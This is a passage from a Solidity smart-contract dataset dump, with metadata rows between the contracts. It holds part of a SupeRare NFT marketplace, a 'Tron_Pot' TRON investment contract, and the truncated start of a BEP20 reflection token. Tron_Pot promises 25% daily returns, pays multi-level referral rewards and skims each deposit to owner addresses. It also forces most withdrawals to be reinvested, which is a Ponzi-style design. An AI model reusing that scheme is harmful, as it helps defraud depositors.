address tokenOwner = ownerOf(_tokenId);
address creator = tokenCreator[_tokenId];
clearApprovalAndTransfer(msg.sender, currentBidder, _tokenId);
payout(currentBid, owner, creator, tokenOwner, _tokenId);
clearBid(_tokenId);
AcceptBid(currentBidder, tokenOwner, currentBid, _tokenId);
tokenSalePrice[_tokenId] = 0;
}
function cancelBid(uint256 _tokenId) public {
address bidder = tokenBidder[_tokenId];
require(msg.sender == bidder);
uint256 bidAmount = tokenCurrentBid[_tokenId];
msg.sender.transfer(bidAmount);
clearBid(_tokenId);
CancelBid(bidder, bidAmount, _tokenId);
}
function buy(uint256 _tokenId) public payable notOwnerOf(_tokenId) {
uint256 salePrice = tokenSalePrice[_tokenId];
uint256 sentPrice = msg.value;
address buyer = msg.sender;
address tokenOwner = ownerOf(_tokenId);
address creator = tokenCreator[_tokenId];
require(salePrice > 0);
require(sentPrice >= salePrice);
returnCurrentBid(_tokenId);
clearBid(_tokenId);
clearApprovalAndTransfer(tokenOwner, buyer, _tokenId);
payout(sentPrice, owner, creator, tokenOwner, _tokenId);
tokenSalePrice[_tokenId] = 0;
Sold(buyer, tokenOwner, sentPrice, _tokenId);
}
function setSalePrice(uint256 _tokenId, uint256 _salePrice) public onlyOwnerOf(_tokenId) {
uint256 currentBid = tokenCurrentBid[_tokenId];
require(_salePrice > currentBid);
tokenSalePrice[_tokenId] = _salePrice;
SalePriceSet(_tokenId, _salePrice);
}
function whitelistCreator(address _creator) public onlyOwner {
creatorWhitelist[_creator] = true;
WhitelistCreator(_creator);
}
function setMaintainerPercentage(uint256 _percentage) public onlyOwner() {
maintainerPercentage = _percentage;
}
function setCreatorPercentage(uint256 _percentage) public onlyOwner() {
creatorPercentage = _percentage;
}
function name() external pure returns (string _name) {
return 'SupeRare';
}
function symbol() external pure returns (string _symbol) {
return 'SUPR';
}
function approve(address _to, uint256 _tokenId) public {
revert();
}
function isWhitelisted(address _creator) external view returns (bool) {
return creatorWhitelist[_creator];
}
function tokenURI(uint256 _tokenId) external view returns (string) {
ownerOf(_tokenId);
return tokenToURI[_tokenId];
}
function originalTokenOfUri(string _uri) public view returns (uint256) {
uint256 tokenId = uriOriginalToken[_uri];
ownerOf(tokenId);
return tokenId;
}
function currentBidDetailsOfToken(uint256 _tokenId) public view returns (uint256, address) {
return (tokenCurrentBid[_tokenId], tokenBidder[_tokenId]);
}
function creatorOfToken(uint256 _tokenId) public view returns (address) {
return tokenCreator[_tokenId];
}
function salePriceOfToken(uint256 _tokenId) public view returns (uint256) {
return tokenSalePrice[_tokenId];
}
function returnCurrentBid(uint256 _tokenId) private {
uint256 currentBid = tokenCurrentBid[_tokenId];
address currentBidder = tokenBidder[_tokenId];
if(currentBidder != address(0)) {
currentBidder.transfer(currentBid);
}
}
function isGreaterBid(uint256 _tokenId) private view returns (bool) {
return msg.value > tokenCurrentBid[_tokenId];
}
function clearBid(uint256 _tokenId) private {
tokenBidder[_tokenId] = address(0);
tokenCurrentBid[_tokenId] = 0;
}
function payout(uint256 _val, address _maintainer, address _creator, address _tokenOwner, uint256 _tokenId) private {
uint256 maintainerPayment;
uint256 creatorPayment;
uint256 ownerPayment;
if (tokenSold[_tokenId]) {
maintainerPayment = _val.mul(maintainerPercentage).div(1000);
creatorPayment = _val.mul(creatorPercentage).div(1000);
ownerPayment = _val.sub(creatorPayment).sub(maintainerPayment);
} else {
maintainerPayment = 0;
creatorPayment = _val;
ownerPayment = 0;
tokenSold[_tokenId] = true;
}
_maintainer.transfer(maintainerPayment);
_creator.transfer(creatorPayment);
_tokenOwner.transfer(ownerPayment);
}
function createToken(string _uri, address _creator) private returns (uint256){
uint256 newId = totalSupply() + 1;
_mint(_creator, newId);
tokenCreator[newId] = _creator;
tokenToURI[newId] = _uri;
return newId;
}
}
| 206,927 | 10,573 |
dc84211ca4a625f84237dba372e9c64b240651d549332d41618a89273e9ee75b
| 18,141 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TD/TDTsw4X9cemUP69N1acJptrDSE1MDy6keb_Tron_Pot.sol
| 4,616 | 16,231 |
//SourceUnit: tronpot.sol
pragma solidity 0.5.10;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Investor {
address addr;
uint256 checkpoint;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 reinvestWallet;
address referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
}
}
contract Ownable {
address payable public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Tron_Pot is Ownable {
using SafeMath for uint256; // 18% Total Refer Income
uint256 public constant REFERENCE_LEVEL1_RATE = 100; // 10% Level 1 Income
uint256 public constant REFERENCE_LEVEL2_RATE = 50; // 5% Level 2 Income
uint256[3] public REFERRAL_PERCENTS = [100,50,30]; // 3% Level 3 Income
uint256 public constant MINIMUM = 100e6; // Root ID : 1000
uint256 public constant PLAN_INTEREST = 250; // 25% Daily Roi
uint256 public constant PLAN_TERM = 8 days; // 8 Days
uint256 public constant CONTRACT_LIMIT = 800; // 20% Unlocked for Withdrawal Daily
uint256 public contract_balance;
uint256 private contract_checkpoint;
uint256 public totalusers;
uint256 public totalInvestments_;
uint256 public totalReinvestments_;
// mapping(address => uint256) public address2UID;
mapping(address => Objects.Investor) public uid2Investor;
event onInvest(address investor, uint256 amount);
event onReinvest(address investor, uint256 amount);
event onWithdraw(address investor, uint256 amount);
address payable public add1;
address payable public add2;
address payable public add3;
address payable public add4;
address payable public add5;
address payable public you;
constructor(address payable _add1,address payable _add2,address payable _add3,address payable _add4,address payable _add5) public {
add1=_add1;
add2=_add2;
add3=_add3;
add4=_add4;
add5=_add5;
you=msg.sender;
owner=msg.sender;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getInvestorInfoByUID(address Address) public view returns (uint256,uint256, uint256, address, uint256, uint256, uint256, uint256, uint256, uint256[] memory) {
Objects.Investor storage investor = uid2Investor[Address];
uint256[] memory newDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, investor.plans[i].investmentDate.add(PLAN_TERM), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.reinvestWallet,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
investor.checkpoint,
newDividends);
}
function getInvestmentPlanByUID(address Address) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
Objects.Investor storage investor = uid2Investor[Address];
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (PLAN_TERM > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
isExpireds[i] = true;
}
}
}
}
return
(investmentDates,
investments,
currentDividends,
isExpireds);
}
//
function _addInvestor(address _addr,address referrer) private returns (uint256) {
if (uid2Investor[_addr].referrer == address(0)) {
if ((uid2Investor[referrer].planCount == 0 || referrer == msg.sender) && msg.sender != owner) {
referrer = owner;
}
}
uid2Investor[_addr].referrer = referrer;
address upline = uid2Investor[_addr].referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
if (i == 0) {
uid2Investor[upline].level1RefCount = uid2Investor[upline].level1RefCount.add(1);
} else if (i == 1) {
uid2Investor[upline].level2RefCount = uid2Investor[upline].level2RefCount.add(1);
} else if (i == 2) {
uid2Investor[upline].level3RefCount = uid2Investor[upline].level3RefCount.add(1);
}
upline = uid2Investor[upline].referrer;
} else break;
}
}
function _invest(address _addr, address referrer, uint256 _amount) private returns (bool) {
add1.transfer(msg.value.mul(1).div(100));
add2.transfer(msg.value.mul(1).div(100));
add3.transfer(msg.value.mul(1).div(100));
add4.transfer(msg.value.mul(1).div(100));
add5.transfer(msg.value.mul(2).div(100));
you.transfer(msg.value.mul(4).div(100));
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
if(uid2Investor[_addr].planCount<1){
_addInvestor(_addr,referrer);
//new user
}
uint256 planCount = uid2Investor[_addr].planCount;
Objects.Investor storage investor = uid2Investor[_addr];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
uid2Investor[_addr].checkpoint = block.timestamp;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, msg.sender);
totalInvestments_ = totalInvestments_.add(_amount);
return true;
}
function _reinvestAll(address _addr, uint256 _amount) private returns (bool) {
add1.transfer(_amount.mul(1).div(100));
add2.transfer(_amount.mul(1).div(100));
add3.transfer(_amount.mul(1).div(100));
add4.transfer(_amount.mul(1).div(100));
add5.transfer(_amount.mul(2).div(100));
you.transfer(_amount.mul(4).div(100));
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
// uint256 uid = address2UID[_addr];
uint256 planCount = uid2Investor[_addr].planCount;
Objects.Investor storage investor = uid2Investor[_addr];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
totalReinvestments_ = totalReinvestments_.add(_amount);
return true;
}
function invest(address referrer) public payable {
if (_invest(msg.sender, referrer, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public {
// uint256 uid = address2UID[msg.sender];
// require(uid != 0, "Can not withdraw because no any investments");
require(withdrawAllowance(), "Withdraw are not allowed between 0am to 4am UTC");
//only once a day
require(block.timestamp > uid2Investor[msg.sender].checkpoint + 12 hours , "Twice a day");
uid2Investor[msg.sender].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[msg.sender].planCount; i++) {
if (uid2Investor[msg.sender].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[msg.sender].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[msg.sender].plans[i].investment ,
PLAN_INTEREST , withdrawalDate , uid2Investor[msg.sender].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[msg.sender].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[msg.sender].plans[i].isExpired = isExpired;
uid2Investor[msg.sender].plans[i].currentDividends += amount;
}
//
if (uid2Investor[msg.sender].availableReferrerEarnings>0) {
uint256 re=uid2Investor[msg.sender].availableReferrerEarnings.div(2);
withdrawalAmount += uid2Investor[msg.sender].availableReferrerEarnings.div(2);
uid2Investor[msg.sender].referrerEarnings = re.add(uid2Investor[msg.sender].referrerEarnings);
uid2Investor[msg.sender].availableReferrerEarnings = re;
}
//
if(withdrawalAmount>0){
uint256 currentBalance = getBalance();
if(withdrawalAmount >= currentBalance){
withdrawalAmount=currentBalance;
}
require(currentBalance.sub(withdrawalAmount) >= contract_balance.mul(CONTRACT_LIMIT).div(1000), "80% contract balance limit");
require(withdrawalAmount>=50 trx,"you should have 50 trx");
uint256 reinvestAmount = withdrawalAmount.mul(80).div(100);
if(withdrawalAmount > 90e9){
reinvestAmount = withdrawalAmount.sub(45e9);
}
//reinvest
uid2Investor[msg.sender].reinvestWallet = uid2Investor[msg.sender].reinvestWallet.add(reinvestAmount);
//withdraw
msg.sender.transfer(withdrawalAmount.sub(reinvestAmount));
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function reinvest() public {
//only once a day
require(block.timestamp > uid2Investor[msg.sender].checkpoint + 12 hours , "Only once a day");
uid2Investor[msg.sender].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[msg.sender].planCount; i++) {
if (uid2Investor[msg.sender].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[msg.sender].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[msg.sender].plans[i].investment , PLAN_INTEREST ,
withdrawalDate , uid2Investor[msg.sender].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[msg.sender].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[msg.sender].plans[i].isExpired = isExpired;
uid2Investor[msg.sender].plans[i].currentDividends += amount;
}
if (uid2Investor[msg.sender].availableReferrerEarnings>0) {
withdrawalAmount += uid2Investor[msg.sender].availableReferrerEarnings;
uid2Investor[msg.sender].referrerEarnings = uid2Investor[msg.sender].availableReferrerEarnings.add(uid2Investor[msg.sender].referrerEarnings);
uid2Investor[msg.sender].availableReferrerEarnings = 0;
}
if (uid2Investor[msg.sender].reinvestWallet>0) {
withdrawalAmount += uid2Investor[msg.sender].reinvestWallet;
uid2Investor[msg.sender].reinvestWallet = 0;
}
if(withdrawalAmount>0){
//reinvest
_reinvestAll(msg.sender,withdrawalAmount);
}
emit onReinvest(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function ReinvestableBalance(address _addr)public view returns(uint256){
uint256 totalAmount;
totalAmount=totalAmount.add(uid2Investor[_addr].reinvestWallet);
totalAmount=totalAmount.add(uid2Investor[_addr].availableReferrerEarnings);
return totalAmount;
}
function _calculateReferrerReward(uint256 _investment,address _addr) private {
address upline = uid2Investor[_addr].referrer;
for (uint256 i = 0; i < 3; i++) {
uint256 amount = _investment.mul(REFERRAL_PERCENTS[i]).div(1000);
if (upline != address(0)) {
if (i == 0) {
uid2Investor[upline].availableReferrerEarnings = uid2Investor[upline].availableReferrerEarnings.add(amount);
} else if (i == 1) {
uid2Investor[upline].availableReferrerEarnings = uid2Investor[upline].availableReferrerEarnings.add(amount);
} else if (i == 2) {
uid2Investor[upline].availableReferrerEarnings = uid2Investor[upline].availableReferrerEarnings.add(amount);
}
upline = uid2Investor[upline].referrer;
} else break;
}
}
function updateBalance() public {
//only once a day
require(block.timestamp > contract_checkpoint + 1 days , "Only once a day");
contract_checkpoint = block.timestamp;
contract_balance = getBalance();
}
function getHour() public view returns (uint8){
return uint8((block.timestamp / 60 / 60) % 24);
}
function withdrawAllowance() public view returns(bool){
uint8 hour = getHour();
if(hour >= 0 && hour <= 3){
return false;
}
else{
return true;
}
}
}
| 296,918 | 10,574 |
fea67320b0d09b3ce0861221dde2f2e5bd1b39698ae66073aa3c4b7e7a40c480
| 28,868 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x06037b7991836f5c25557ed59F2e18CDBCBF4767/contract.sol
| 5,082 | 18,189 |
pragma solidity ^0.6.0;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract RobotixSmart is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'Robotix Smart';
string private constant _SYMBOL = 'RRR';
uint8 private constant _DECIMALS = 8;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 900000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private constant _TAX_FEE = 200;
uint256 private constant _BURN_FEE = 100;
uint256 private constant _MAX_TX_SIZE = 100000000 * _DECIMALFACTOR;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
